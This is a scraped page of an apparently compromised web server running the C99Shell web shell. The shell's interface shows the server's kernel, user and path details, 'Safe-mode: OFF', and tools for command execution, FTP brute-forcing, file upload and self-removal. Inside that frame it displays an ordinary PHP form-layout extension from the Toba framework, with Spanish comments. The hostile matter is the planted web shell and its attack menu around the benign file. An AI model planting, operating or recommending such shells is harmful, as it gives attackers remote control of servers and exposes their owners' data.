!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_referencia/php/componentes/ei_formulario/   drwxr-xr-x
Free 14.62 GB of 61.93 GB (23.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     extension_formulario.php (2.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
php_referencia
::instancia()->agregar(__FILE__);

class 
extension_formulario extends toba_ei_formulario
{
    protected 
$cambiar_layout false;
    
    function 
cambiar_layout()
    {
        
$this->cambiar_layout true;
    }
    
    protected function 
generar_layout()
    {
        if (! 
$this->cambiar_layout) {
            
parent::generar_layout();
        } else {
            echo 
'<table>';
            
$i 0;
            foreach (
$this->get_nombres_ef() as $ef) {
                
$ultimo = ($i == $this->get_cantidad_efs());
                if (
$i == 0) {
                    echo 
'<tr>';
                }
                echo 
'<td>';
                
                
//--- Llamada a la generacion estandar de un ef
                
$this->generar_html_ef($ef);
                
                echo 
'</td>';
                
$i++;            
                if (
$i == || $ultimo) {
                    echo 
'</tr>';
                }        
            }        
            echo 
'</table>';
        }
    }
    
    protected function 
generar_layout_impresion()
    {
        if (! 
$this->cambiar_layout) {
            
parent::generar_layout_impresion();
        } else {    
            echo 
"<table class='{$this->_estilos}' width='{$this->_info_formulario['ancho']}'>";
            
$i 0;
            foreach (
$this->get_nombres_ef() as $ef) {
                
$ultimo = ($i == $this->get_cantidad_efs());
                if (
$i == 0) {
                    echo 
'<tr>';
                }
                
                
//--- Llamada a la generacion estandar de un ef
                
$this->generar_html_impresion_ef($ef);

                
$i++;            
                if (
$i == || $ultimo) {
                    echo 
'</tr>';
                }
            }
            echo 
'</table>';
        }
    }    

    
    function 
extender_objeto_js()
    {
        
//Valida que dos campos no tengan valor simultáneamente
        
echo "
            
{$this->objeto_js}.evt__validar_datos = function() {
                if (this.ef('descripcion').valor() != '' && this.ef('otra_descripcion').valor() != '' ) {
                        notificacion.agregar('Sólo puede ingresar una descripción.');
                        return false;
                }
                return true;
            }
        "
;
            
        
//Agrega una confirmación al cancelar
        
echo "
            
{$this->objeto_js}.evt__cancelar = function() {
                return confirm('¿Esta seguro?');
            }
        "
;
            
        
//Activa un campo en base a un checkbox
        
echo "
            
{$this->objeto_js}.evt__elige_tipo__procesar = function(es_inicial) {
                if (this.ef('elige_tipo').chequeado())
                    this.ef('tipo').activar();
                else
                    this.ef('tipo').desactivar();            
            }
            
            
{$this->objeto_js}.evt__oculta_tipo__procesar = function(es_inicial) {
                if (this.ef('oculta_tipo').chequeado())
                    this.ef('tipo').ocultar();
                else
                    this.ef('tipo').mostrar();            
            }
        "
;
    }    
    
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8262 ]--